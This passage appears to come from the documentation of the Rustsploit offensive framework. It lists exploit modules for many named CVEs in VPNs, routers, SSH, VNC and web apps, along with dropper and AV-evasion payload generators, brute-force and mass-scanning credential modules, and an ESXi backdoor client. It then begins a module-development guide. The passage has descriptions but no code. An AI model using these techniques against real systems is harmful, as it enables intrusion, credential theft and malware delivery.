| `exploits/ipmi/ipmi_enum_exploit` | IPMI enumeration with cipher 0 bypass, default credential brute force, and RAKP hash dumping |
|
||||
|
||||
### Network Infrastructure -- Commvault
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/network_infra/commvault/cve_2025_34028_commvault_rce` | Commvault Command Center < 11.38.0 unauthenticated path traversal file upload to RCE (CVE-2025-34028) |
|
||||
|
||||
### Network Infrastructure -- Citrix
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/network_infra/citrix/cve_2025_5777_citrixbleed2` | Citrix NetScaler ADC/Gateway out-of-bounds read in authentication endpoint |
|
||||
|
||||
### Network Infrastructure -- F5
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/network_infra/f5/cve_2025_53521_f5_bigip_rce` | Unauthenticated RCE in F5 BIG-IP Access Policy Manager (CVE-2025-53521) |
|
||||
|
||||
### Network Infrastructure -- Fortinet
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/network_infra/fortinet/forticloud_sso_auth_bypass_cve_2026_24858` | FortiCloud SSO authentication bypass via reused SSO tokens (CVE-2026-24858) |
|
||||
| `exploits/network_infra/fortinet/fortigate_rce_cve_2024_21762` | FortiOS SSL VPN pre-auth heap-based buffer overflow RCE (CVE-2024-21762) |
|
||||
| `exploits/network_infra/fortinet/fortimanager_rce_cve_2024_47575` | FortiManager fgfmd unauthenticated RCE via FGFM registration requests (CVE-2024-47575) |
|
||||
| `exploits/network_infra/fortinet/fortios_auth_bypass_cve_2022_40684` | FortiOS/FortiProxy admin interface auth bypass via crafted HTTP headers (CVE-2022-40684) |
|
||||
| `exploits/network_infra/fortinet/fortios_heap_overflow_cve_2023_27997` | FortiOS SSL VPN out-of-bounds write RCE via /remote/hostcheck_validate (CVE-2023-27997) |
|
||||
| `exploits/network_infra/fortinet/fortios_ssl_vpn_cve_2018_13379` | FortiOS SSL VPN path traversal to leak session files with cleartext credentials (CVE-2018-13379) |
|
||||
| `exploits/network_infra/fortinet/fortisiem_rce_cve_2025_64155` | FortiSIEM phMonitor unauthenticated RCE via argument injection in XML/SSL protocol (CVE-2025-64155) |
|
||||
| `exploits/network_infra/fortinet/fortiweb_rce_cve_2021_22123` | FortiWeb authenticated command injection via SAML server-name parameter (CVE-2021-22123) |
|
||||
| `exploits/network_infra/fortinet/fortiweb_sqli_rce_cve_2025_25257` | FortiWeb unauthenticated SQL injection to webshell deployment (CVE-2025-25257) |
|
||||
|
||||
### Network Infrastructure -- HPE
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/network_infra/hpe/cve_2025_37164_hpe_oneview_rce` | Unauthenticated RCE via REST API command injection in HPE OneView (CVE-2025-37164) |
|
||||
|
||||
### Network Infrastructure -- Kubernetes
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/network_infra/kubernetes/cve_2025_1974_ingress_nginx_rce` | ingress-nginx admission webhook config injection via annotations for arbitrary NGINX config, file read, and RCE (CVE-2025-1974) |
|
||||
|
||||
### Network Infrastructure -- Ivanti
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/network_infra/ivanti/cve_2025_0282_ivanti_preauth_rce` | Pre-authentication buffer overflow in Ivanti Connect Secure (CVE-2025-0282) |
|
||||
| `exploits/network_infra/ivanti/cve_2025_22457_ivanti_ics_rce` | Stack-based buffer overflow in Ivanti Connect Secure via X-Forwarded-For (CVE-2025-22457) |
|
||||
| `exploits/network_infra/ivanti/ivanti_connect_secure_stack_based_buffer_overflow` | Ivanti Connect Secure stack-based buffer overflow, CVSS 9.0 |
|
||||
| `exploits/network_infra/ivanti/ivanti_epmm_cve_2023_35082` | Ivanti EPMM unauthenticated API access to user information (CVE-2023-35082) |
|
||||
| `exploits/network_infra/ivanti/ivanti_ics_auth_bypass_cve_2024_46352` | Ivanti Connect Secure auth bypass via TOTP backup code path traversal (CVE-2024-46352) |
|
||||
| `exploits/network_infra/ivanti/ivanti_neurons_rce_cve_2025_22460` | Ivanti Neurons for ITSM unauthenticated RCE via deserialization (CVE-2025-22460) |
|
||||
|
||||
### Network Infrastructure -- QNAP
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/network_infra/qnap/qnap_qts_rce_cve_2024_27130` | QNAP QTS stack buffer overflow via share.cgi for RCE (CVE-2024-27130) |
|
||||
|
||||
### Network Infrastructure -- SonicWall
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/network_infra/sonicwall/cve_2025_40602_sonicwall_sma_rce` | SonicWall SMA1000 series remote code execution (CVE-2025-40602) |
|
||||
|
||||
### Network Infrastructure -- Trend Micro
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/network_infra/trend_micro/cve_2025_5777` | Trend Micro MsgReceiver DLL loading for unauthenticated RCE on port 20001 |
|
||||
| `exploits/network_infra/trend_micro/cve_2025_69258` | Trend Micro Apex Central unauthenticated command injection via Login.aspx |
|
||||
| `exploits/network_infra/trend_micro/cve_2025_69259` | Trend Micro MsgReceiver out-of-bounds read DoS (CVE-2025-69259) |
|
||||
| `exploits/network_infra/trend_micro/cve_2025_69260` | Trend Micro MsgReceiver unchecked NULL return value DoS (CVE-2025-69260) |
|
||||
|
||||
### Network Infrastructure -- VMware
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/network_infra/vmware/esxi_auth_bypass_cve_2024_37085` | ESXi authentication bypass via Active Directory 'ESX Admins' group manipulation (CVE-2024-37085) |
|
||||
| `exploits/network_infra/vmware/esxi_vm_escape_check` | ESXi VM escape chain vulnerability check and IOC detection (CVE-2025-22224/22225/22226) |
|
||||
| `exploits/network_infra/vmware/esxi_vsock_client` | VSOCK client for communicating with VSOCKpuppet backdoor on compromised ESXi hosts |
|
||||
| `exploits/network_infra/vmware/vcenter_backup_rce` | vCenter Server authenticated RCE via flag injection in backup.validate API (CVSS 7.2) |
|
||||
| `exploits/network_infra/vmware/vcenter_file_read` | vCenter Server authenticated partial arbitrary file read via RVC command (CVSS 4.9) |
|
||||
| `exploits/network_infra/vmware/vcenter_rce_cve_2024_37079` | vCenter Server heap-overflow RCE via DCERPC protocol on port 443 (CVE-2024-37079) |
|
||||
|
||||
### Payload Generators
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/payloadgens/batgen` | Creates multi-stage .bat dropper chains with PowerShell download and execution |
|
||||
| `exploits/payloadgens/lnkgen` | Malicious Windows LNK files for SMB NTLMv2-SSP hash disclosure (CVE-2025-50154, CVE-2025-59214) |
|
||||
| `exploits/payloadgens/narutto_dropper` | Polymorphic 3-stage stealth droppers with LOLBAS support and anti-VM evasion |
|
||||
| `exploits/payloadgens/payload_encoder` | Payload encoding (XOR, base64, hex, zero-width, etc.) for AV evasion |
|
||||
| `exploits/payloadgens/polymorph_dropper` | 3-stage polymorphic payload chain using Task Scheduler for persistence |
|
||||
|
||||
### Routers -- D-Link
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/routers/dlink/dlink_dcs_930l_auth_bypass` | D-Link DCS-930L/932L unauthenticated config disclosure and credential extraction |
|
||||
|
||||
### Routers -- Netgear
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/routers/netgear/netgear_r6700v3_rce_cve_2022_27646` | Netgear R6700v3 pre-auth buffer overflow RCE in circled daemon (CVE-2022-27646) |
|
||||
|
||||
### Routers -- Palo Alto
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/routers/palo_alto/panos_authbypass_cve_2025_0108` | PAN-OS auth bypass via path traversal in authentication mechanism (CVE-2025-0108) |
|
||||
| `exploits/routers/palo_alto/panos_expedition_rce_cve_2024_9463` | Palo Alto Expedition unauthenticated OS command injection (CVE-2024-9463) |
|
||||
| `exploits/routers/palo_alto/panos_globalprotect_rce_cve_2024_3400` | PAN-OS GlobalProtect gateway unauthenticated OS command injection (CVE-2024-3400) |
|
||||
|
||||
### Routers -- Ruijie
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/routers/ruijie/ruijie_auth_bypass_rce_cve_2023_34644` | Ruijie device auth bypass to RCE on routers, switches, and access points (CVE-2023-34644) |
|
||||
| `exploits/routers/ruijie/ruijie_reyee_ssrf_cve_2024_48874` | Ruijie Reyee cloud-connected device SSRF (CVE-2024-48874) |
|
||||
| `exploits/routers/ruijie/ruijie_rg_ew_login_bypass_cve_2023_4415` | Ruijie RG-EW1200G auth bypass via crafted JSON login request (CVE-2023-4415) |
|
||||
| `exploits/routers/ruijie/ruijie_rg_ew_password_reset_cve_2023_4169` | Ruijie RG-EW1200G unauthenticated admin password reset (CVE-2023-4169) |
|
||||
| `exploits/routers/ruijie/ruijie_rg_ew_update_version_rce_cve_2021_43164` | Ruijie RG-EW Series firmware update command injection RCE (CVE-2021-43164) |
|
||||
| `exploits/routers/ruijie/ruijie_rg_uac_ci_cve_2024_4508` | Ruijie RG-UAC unauthenticated command injection via static_route_edit (CVE-2024-4508) |
|
||||
| `exploits/routers/ruijie/ruijie_rsr_router_ci_cve_2024_31616` | Ruijie RSR10-01G-T-S authenticated command injection via diagnostics (CVE-2024-31616) |
|
||||
|
||||
### Routers -- Tenda
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/routers/tenda/tenda_cp3_rce_cve_2023_30353` | Tenda CP3 IP camera unauthenticated RCE via YGMP_CMD on UDP 5012 (CVE-2023-30353) |
|
||||
|
||||
### Routers -- TP-Link
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/routers/tplink/tapo_c200_vulns` | TP-Link Tapo C200 multiple vulns: WiFi info leak, ONVIF overflow, HTTPS integer overflow |
|
||||
| `exploits/routers/tplink/tplink_archer_c2_c20i_rce` | TP-Link Archer C2/C20i authenticated command injection via diagnostics |
|
||||
| `exploits/routers/tplink/tplink_archer_c9_password_reset` | TP-Link Archer C9/C60 unauthenticated password reset via predictable PRNG |
|
||||
| `exploits/routers/tplink/tplink_archer_rce_cve_2024_53375` | TP-Link Archer/Deco/Tapo authenticated command injection via OwnerId (CVE-2024-53375) |
|
||||
| `exploits/routers/tplink/tplink_ax1800_rce_cve_2024_53375` | TP-Link Archer AX1800 authenticated command injection via NTP server field |
|
||||
| `exploits/routers/tplink/tplink_deco_m4_rce` | TP-Link Deco M4 default credential check and ping command injection |
|
||||
| `exploits/routers/tplink/tplink_tapo_c200` | TP-Link Tapo C200 IP camera command injection via setLanguage method |
|
||||
| `exploits/routers/tplink/tplink_vigi_c385_rce_cve_2026_1457` | TP-Link VIGI C385 authenticated buffer overflow RCE (CVE-2026-1457) |
|
||||
| `exploits/routers/tplink/tp_link_vn020_dos` | TP-Link VN020 UPnP DoS via malformed AddPortMapping SOAP request |
|
||||
| `exploits/routers/tplink/tplink_wdr740n_backdoor` | TP-Link WDR740N debug page command execution with hardcoded credentials |
|
||||
| `exploits/routers/tplink/tplink_wdr740n_path_traversal` | TP-Link WDR740N/ND path traversal for arbitrary file read via /help/ |
|
||||
| `exploits/routers/tplink/tplink_wdr842n_configure_disclosure` | TP-Link WDR842N config download and DES decryption for credential extraction |
|
||||
| `exploits/routers/tplink/tplink_wr740n_dos` | TP-Link TL-WR740N web server buffer overflow DoS |
|
||||
|
||||
### Routers -- Ubiquiti
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/routers/ubiquiti/ubiquiti_edgerouter_ci_cve_2023_2376` | Ubiquiti EdgeRouter X command injection in web management (CVE-2023-2376) |
|
||||
|
||||
### Routers -- ZTE
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/routers/zte/zte_zxv10_h201l_rce_authenticationbypass` | ZTE ZXV10 H201L auth bypass via config leak and DDNS command injection |
|
||||
|
||||
### Routers -- Zyxel
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/routers/zyxel/zyxel_cpe_ci_cve_2024_40890` | Zyxel legacy CPE unauthenticated HTTP command injection (CVE-2024-40890) |
|
||||
|
||||
### Sample
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/sample_exploit` | Template exploit module demonstrating info(), check(), and run() with cfg_prompt integration |
|
||||
|
||||
### SafeLine (WAF)
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/safeline/cookie_attributes` | SafeLine session cookie lacks HttpOnly, Secure, and SameSite attributes enabling XSS session theft and CSRF |
|
||||
| `exploits/safeline/nginx_injection` | SafeLine tcontrollerd inserts Ports field verbatim into nginx config via fmt.Sprintf for arbitrary directive injection |
|
||||
| `exploits/safeline/no_auth_probe` | Detects SafeLine NO_AUTH env bypass where `len(noAuth) >= 0` (always true) disables auth middleware |
|
||||
| `exploits/safeline/pre_auth_tfa` | Fresh SafeLine install unauthenticated TFA secret rotation via /api/OTPUrl for full account takeover |
|
||||
| `exploits/safeline/session_secret_entropy` | SafeLine JWT signing secret generated with math/rand seeded by time.Now().UnixNano() — as low as 39 bits effective entropy |
|
||||
| `exploits/safeline/unauth_writes` | SafeLine publicRouters expose unauthenticated POST to /api/Behaviour and /api/FalsePositives for analytics pollution and request amplification |
|
||||
|
||||
### Snare (Honeypot)
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/snare/cookie_dos` | HTTP Cookie header without '=' separator causes IndexError crash in snare tanner_handler.py worker |
|
||||
| `exploits/snare/tanner_version_mitm` | Rogue HTTP server on port 8090 returns forged version response to snare's unauthenticated GET /version check |
|
||||
|
||||
### SSH
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/ssh/asyncssh_beginauthpass` | AsyncSSH server begin_auth() returning False causes USERAUTH_SUCCESS bypass for unauthenticated session access |
|
||||
| `exploits/ssh/erlang_otp_ssh_rce_cve_2025_32433` | Erlang/OTP SSH server unauthenticated RCE (CVE-2025-32433) |
|
||||
| `exploits/ssh/libssh2_rogue_server` | Rogue SSH server capturing credentials from libssh2 clients that accept USERAUTH_SUCCESS without verifying KEX state |
|
||||
| `exploits/ssh/libssh_auth_bypass_cve_2018_10933` | libSSH server authentication bypass (CVE-2018-10933) |
|
||||
| `exploits/ssh/openssh_regresshion_cve_2024_6387` | OpenSSH sshd signal handler race condition for unauthenticated RCE (CVE-2024-6387) |
|
||||
| `exploits/ssh/opensshserver_9_8p1race_condition` | OpenSSH 9.8p1 race condition for heap-based RCE |
|
||||
| `exploits/ssh/paramiko_authnonepass` | Paramiko SSH server check_auth_none() returning AUTH_SUCCESSFUL allows unauthenticated session access |
|
||||
| `exploits/ssh/paramiko_unknown_method` | Paramiko SSH server unrecognized auth method fallthrough to check_auth_none() allows authentication bypass |
|
||||
| `exploits/ssh/sshpwn_auth_passwd` | OpenSSH auth2-passwd.c password length DoS, change info leak, timing enumeration |
|
||||
| `exploits/ssh/sshpwn_pam` | OpenSSH auth-pam.c environment injection, memory leak DoS, username validation bypass |
|
||||
| `exploits/ssh/sshpwn_scp_attacks` | OpenSSH SCP path traversal, command injection, and brace expansion DoS |
|
||||
| `exploits/ssh/sshpwn_session` | OpenSSH session.c forced command bypass, env injection, privsep issues |
|
||||
| `exploits/ssh/sshpwn_sftp_attacks` | OpenSSH SFTP symlink injection, chmod setuid abuse, path traversal, partial write |
|
||||
|
||||
### Telnet
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/telnet/telnet_auth_bypass_cve_2026_24061` | Telnet authentication bypass on vulnerable devices (CVE-2026-24061) |
|
||||
|
||||
### VNC
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/vnc/libvnc_checkrect_overflow` | LibVNCClient signed 32-bit bounds check integer overflow for heap overflow RCE |
|
||||
| `exploits/vnc/libvnc_tight_filtergradient` | LibVNCClient Tight decoder unclamped numRows out-of-bounds write past allocated buffer |
|
||||
| `exploits/vnc/libvnc_ultrazip` | LibVNCClient Ultra encoding unbounded cache rect loop for heap overflow (CVE-2018-20750) |
|
||||
| `exploits/vnc/libvnc_websocket_overflow` | LibVNCServer WebSocket unbounded 64-bit payloadLen for heap overflow |
|
||||
| `exploits/vnc/libvnc_zrle_tile` | LibVNCClient ZRLE decoder truncated RLE tile buffer over-read |
|
||||
| `exploits/vnc/rfb` | Shared RFB protocol helpers for VNC exploit modules |
|
||||
| `exploits/vnc/tigervnc_rre_overflow` | TigerVNC RRE decoder unbounded numSubrects loop for heap over-read |
|
||||
| `exploits/vnc/tigervnc_timing_oracle` | TigerVNC VNC auth DES response timing side-channel for bit-by-bit key recovery |
|
||||
| `exploits/vnc/tightvnc_decompression_bomb` | TightVNC FileUploadData uncapped uncompressedSize for heap exhaustion DoS |
|
||||
| `exploits/vnc/tightvnc_des_hardcoded_key` | TightVNC hardcoded 8-byte DES key for offline Windows registry password decryption |
|
||||
| `exploits/vnc/tightvnc_ft_path_traversal` | TightVNC file-transfer handler directory traversal for arbitrary file read/write |
|
||||
| `exploits/vnc/tightvnc_predictable_challenge` | TightVNC srand(time(0)) predictable 16-byte RFB challenge for replay attacks |
|
||||
| `exploits/vnc/tightvnc_rect_overflow` | TightVNC signed int32 multiplication overflow in Rect::area() for heap buffer overflow RCE |
|
||||
| `exploits/vnc/x11vnc_dns_injection` | x11vnc reverse-DNS hostname passed unsanitized to system() for shell injection via crafted PTR record |
|
||||
| `exploits/vnc/x11vnc_env_injection` | x11vnc RFB_CLIENT_IP environment variable injection into hook scripts |
|
||||
| `exploits/vnc/x11vnc_unixpw_inject` | x11vnc -unixpw mode newline injection in plaintext username to confuse PAM flow |
|
||||
|
||||
### VoIP
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/voip/cve_2025_64328_freepbx_cmdi` | FreePBX filestore module post-authentication command injection (CVE-2025-64328) |
|
||||
|
||||
### Web Applications
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/webapps/craftcms_key_rce_cve_2025_23209` | Craft CMS RCE when application security key is known or leaked (CVE-2025-23209) |
|
||||
| `exploits/webapps/craftcms_rce_cve_2025_47726` | Craft CMS RCE via Server-Side Template Injection (CVE-2025-47726) |
|
||||
| `exploits/webapps/dify/cve_2025_56157_dify_default_creds` | Dify default PostgreSQL credentials (postgres:difyai123456) exposure check (CVE-2025-56157) |
|
||||
| `exploits/webapps/flowise/cve_2024_31621` | Flowise 1.6.5 unauthenticated credentials endpoint access (CVE-2024-31621) |
|
||||
| `exploits/webapps/flowise/cve_2025_59528_flowise_rce` | Flowise < 3.0.5 unauthenticated API RCE (CVE-2025-59528) |
|
||||
| `exploits/webapps/langflow_rce_cve_2025_3248` | Langflow unauthenticated RCE via Python exec() in code validation (CVE-2025-3248) |
|
||||
| `exploits/webapps/laravel_livewire_rce_cve_2025_47949` | Laravel Livewire RCE via unsafe deserialization (CVE-2025-47949) |
|
||||
| `exploits/webapps/misp_rce_cve_2025_27364` | MISP < 2.5.3 authenticated file upload to PHP webshell RCE via /events/upload_sample (CVE-2025-27364) |
|
||||
| `exploits/webapps/mcpjam/cve_2026_23744_mcpjam_rce` | MCPJam Inspector <= 1.4.2 unauthenticated RCE (CVE-2026-23744) |
|
||||
| `exploits/webapps/n8n/n8n_rce_cve_2025_68613` | n8n workflow automation RCE via expression injection (CVE-2025-68613) |
|
||||
| `exploits/webapps/nextjs_middleware_bypass_cve_2025_29927` | Next.js < 15.2.3 middleware bypass via unauthenticated x-middleware-subrequest header (CVE-2025-29927) |
|
||||
| `exploits/webapps/react/react2shell` | React Server Components / Next.js RCE via RSC Flight protocol deserialization |
|
||||
| `exploits/webapps/roundcube/roundcube_postauth_rce` | Roundcube webmail post-auth RCE via deserialization in file upload |
|
||||
| `exploits/webapps/sap_netweaver_rce_cve_2025_31324` | SAP NetWeaver Visual Composer unauthenticated file upload to RCE (CVE-2025-31324) |
|
||||
| `exploits/webapps/sharepoint/cve_2024_38094` | SharePoint Server authenticated deserialization RCE via .bdcm upload (CVE-2024-38094) |
|
||||
| `exploits/webapps/sharepoint/cve_2025_53770_sharepoint_toolpane_rce` | SharePoint on-premises unauthenticated deserialization RCE (CVE-2025-53770) |
|
||||
| `exploits/webapps/solarwinds/cve_2025_40551_solarwinds_whd_rce` | SolarWinds Web Help Desk unauthenticated Java deserialization RCE (CVE-2025-40551) |
|
||||
| `exploits/webapps/spotube/spotube` | Spotube API path traversal via WebSocket and denial of service |
|
||||
| `exploits/webapps/termix/termix_xss_cve_2026_22804` | Termix File Manager stored XSS via SVG upload in Electron context (CVE-2026-22804) |
|
||||
| `exploits/webapps/vite_path_traversal_cve_2025_30208` | Vite dev server < 6.2.3 /@fs/ path traversal via ?import&raw query parameter bypass (CVE-2025-30208) |
|
||||
| `exploits/webapps/wordpress/vitepos_file_upload_cve_2025_13156` | Vitepos for WooCommerce authenticated arbitrary PHP file upload (CVE-2025-13156) |
|
||||
| `exploits/webapps/wordpress/wp_bricks_rce_cve_2024_25600` | Bricks Builder for WordPress unauthenticated RCE via render_element (CVE-2024-25600) |
|
||||
| `exploits/webapps/wordpress/wp_litespeed_rce_cve_2024_28000` | LiteSpeed Cache weak hash brute force for WordPress admin escalation (CVE-2024-28000) |
|
||||
| `exploits/webapps/wordpress/wp_royal_elementor_rce_cve_2024_32suspended` | Royal Elementor Addons unauthenticated PHP webshell upload |
|
||||
| `exploits/webapps/xwiki/cve_2025_24893_xwiki_rce` | XWiki SolrSearch unauthenticated RCE via Groovy template injection (CVE-2025-24893) |
|
||||
| `exploits/webapps/zabbix/zabbix_7_0_0_sql_injection` | Zabbix 7.0.0 time-based SQL injection in API endpoints |
|
||||
| `exploits/webapps/zimbra_sqli_auth_bypass_cve_2025_25064` | Zimbra ZCS < 10.0.12 unauthenticated SQL injection via /service/home~ for email metadata extraction (CVE-2025-25064) |
|
||||
|
||||
### Windows
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/windows/windows_dwm_cve_2026_20805` | Windows DWM kernel object pointer leak for KASLR bypass (CVE-2026-20805) |
|
||||
|
||||
---
|
||||
|
||||
## Scanners
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `scanners/api_endpoint_scanner` | REST API endpoint discovery and vulnerability scanner with fuzzing, auth bypass, and injection detection |
|
||||
| `scanners/dir_brute` | HTTP directory and file enumeration via wordlist with recursive scanning and evasion techniques |
|
||||
| `scanners/dns_recursion` | Open DNS resolver and amplification attack detection |
|
||||
| `scanners/honeypot_scanner` | Honeypot indicator detection by probing 50 common TCP ports |
|
||||
| `scanners/http_method_scanner` | HTTP method enumeration to identify dangerous or misconfigured endpoints |
|
||||
| `scanners/http_title_scanner` | HTTP/HTTPS page title fetcher for target fingerprinting |
|
||||
| `scanners/ipmi_enum_exploit` | IPMI version detection, cipher 0 bypass, default credentials, and RAKP hash dumping |
|
||||
| `scanners/nbns_scanner` | NBNS name queries to UDP 137 for Windows host discovery |
|
||||
| `scanners/ping_sweep` | Host discovery via ICMP echo, TCP connect, SYN, and ACK probes with CIDR support |
|
||||
| `scanners/port_scanner` | TCP/UDP port scanner with service detection, banner grabbing, and configurable ranges |
|
||||
| `scanners/proxy_scanner` | HTTP CONNECT, SOCKS4, SOCKS5, and transparent proxy discovery with authentication detection |
|
||||
| `scanners/redis_scanner` | Redis instance discovery and unauthenticated access detection |
|
||||
| `scanners/reflect_scanner` | UDP amplification vulnerability scanner for DNS, NTP monlist, SSDP, and Memcached reflectors |
|
||||
| `scanners/sample_scanner` | Demonstration scanner checking HTTP/HTTPS reachability and response codes |
|
||||
| `scanners/sequential_fuzzer` | Character-based HTTP fuzzer with 10+ encodings, custom charsets, and concurrent requests |
|
||||
| `scanners/service_scanner` | Service port banner grabbing and version identification |
|
||||
| `scanners/smtp_user_enum` | SMTP username enumeration via VRFY commands with wordlist scanning |
|
||||
| `scanners/snmp_scanner` | SNMP v1/v2c community string testing against target devices |
|
||||
| `scanners/source_port_scanner` | Firewall bypass scanner discovering which source ports are allowed through |
|
||||
| `scanners/ssdp_msearch` | UPnP device discovery via SSDP M-SEARCH multicast and unicast probes |
|
||||
| `scanners/ssh_scanner` | SSH banner grabbing with CIDR range support and concurrent scanning |
|
||||
| `scanners/ssl_scanner` | SSL/TLS certificate and configuration analysis, expired certificate detection |
|
||||
| `scanners/stalkroute_full_traceroute` | Advanced traceroute with ICMP/TCP/UDP probes, OS fingerprint spoofing, and decoy packets |
|
||||
| `scanners/subdomain_scanner` | Subdomain brute-force enumeration via DNS resolution |
|
||||
| `scanners/vnc_scanner` | VNC protocol version and security type enumeration |
|
||||
| `scanners/vuln_checker` | Fingerprint-based vulnerability scanner with detection signatures across all exploit modules |
|
||||
| `scanners/waf_detector` | Web Application Firewall and CDN provider detection via HTTP response analysis |
|
||||
|
||||
---
|
||||
|
||||
## Credential Modules
|
||||
|
||||
### Generic
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `creds/generic/couchdb_bruteforce` | CouchDB session cookie and HTTP Basic auth brute force with default credential testing and subnet scanning |
|
||||
| `creds/generic/elasticsearch_bruteforce` | Elasticsearch HTTP Basic auth brute force against cluster root and security API with subnet scanning |
|
||||
| `creds/generic/enablebruteforce` | Raises file descriptor limits (ulimit) for high-concurrency brute-force operations |
|
||||
| `creds/generic/fortinet_bruteforce` | Fortinet FortiGate SSL VPN web auth brute force with certificate pinning and realm support |
|
||||
| `creds/generic/ftp_anonymous` | FTP anonymous access check with FTPS, IPv4/IPv6, and mass scanning support |
|
||||
| `creds/generic/ftp_bruteforce` | FTP/FTPS brute force with combo mode, concurrent connections, and subnet scanning |
|
||||
| `creds/generic/http_basic_bruteforce` | HTTP Basic Authentication brute force with HTTPS support, default credentials, and subnet scanning |
|
||||
| `creds/generic/imap_bruteforce` | IMAP/IMAPS LOGIN command brute force over raw TCP with TLS support and subnet scanning |
|
||||
| `creds/generic/l2tp_bruteforce` | L2TP/IPsec VPN CHAP auth brute force against L2TP concentrators |
|
||||
| `creds/generic/memcached_bruteforce` | Memcached open instance detection and SASL PLAIN auth brute force over binary protocol |
|
||||
| `creds/generic/mqtt_bruteforce` | MQTT 3.1.1 auth testing with TLS/SSL, anonymous detection, and multiple attack modes |
|
||||
| `creds/generic/mysql_bruteforce` | MySQL native password wire protocol brute force with HandshakeV10 parsing and subnet scanning |
|
||||
| `creds/generic/pop3_bruteforce` | POP3/POP3S brute force with SSL/TLS support, retry logic, and subnet scanning |
|
||||
| `creds/generic/postgres_bruteforce` | PostgreSQL protocol v3 brute force supporting cleartext and MD5 auth with subnet scanning |
|
||||
| `creds/generic/proxy_bruteforce` | HTTP CONNECT, SOCKS5, and HTTP forward proxy authentication brute force |
|
||||
| `creds/generic/rdp_bruteforce` | RDP auth brute force with NLA, TLS, Standard RDP, and Negotiate security levels |
|
||||
| `creds/generic/redis_bruteforce` | Redis AUTH brute force supporting legacy and ACL mode with server info gathering on success |
|
||||
| `creds/generic/rtsp_bruteforce` | RTSP auth brute force for IP cameras with path bruting and custom headers |
|
||||
| `creds/generic/sample_cred_check` | Sample module testing HTTP Basic Auth with default admin:admin credentials |
|
||||
| `creds/generic/smtp_bruteforce` | SMTP auth brute force supporting PLAIN and LOGIN mechanisms with combo mode |
|
||||
| `creds/generic/snmp_bruteforce` | SNMPv1/v2c community string brute force with read/write detection and subnet scanning |
|
||||
| `creds/generic/ssh_bruteforce` | SSH password brute force with default credential testing, combo mode, and subnet scanning |
|
||||
| `creds/generic/ssh_spray` | SSH password spray across multiple targets with lockout-aware delays |
|
||||
| `creds/generic/ssh_user_enum` | SSH username enumeration via timing-based side-channel attack (CVE-2018-15473 inspired) |
|
||||
| `creds/generic/telnet_bruteforce` | Telnet brute force with full IAC negotiation, multiple attack modes, and subnet scanning |
|
||||
| `creds/generic/telnet_hose` | Mass internet Telnet default credential scanner with 500 workers and disk-based state |
|
||||
| `creds/generic/vnc_bruteforce` | VNC DES challenge-response brute force with bit-reversed key derivation and subnet scanning |
|
||||
|
||||
### Camera
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `creds/camera/acti/acti_camera_default` | ACTi IP camera default credential check across FTP, SSH, Telnet, and HTTP |
|
||||
|
||||
### Camxploit
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `creds/camxploit/camxploit` | Mass camera discovery and default credential testing across RTSP, HTTP, and HTTPS |
|
||||
|
||||
---
|
||||
|
||||
## Plugins
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `plugins/sample_plugin` | Template plugin demonstrating the RustSploit plugin API with mass scan and cfg_prompt integration |
|
||||
@@ -0,0 +1,285 @@
|
||||
# Module Development
|
||||
|
||||
Reference for maintainers and contributors writing new Rustsploit modules.
|
||||
|
||||
---
|
||||
|
||||
## How Modules Are Discovered
|
||||
|
||||
Rustsploit uses a build-time code-generation approach — no manual registry:
|
||||
|
||||
1. **`build.rs` scan** — Before compilation, `build.rs` recursively walks `src/modules/` looking for `.rs` files that are not `mod.rs`.
|
||||
2. **Signature detection** — A file that exposes `pub async fn run(` is treated as a callable module.
|
||||
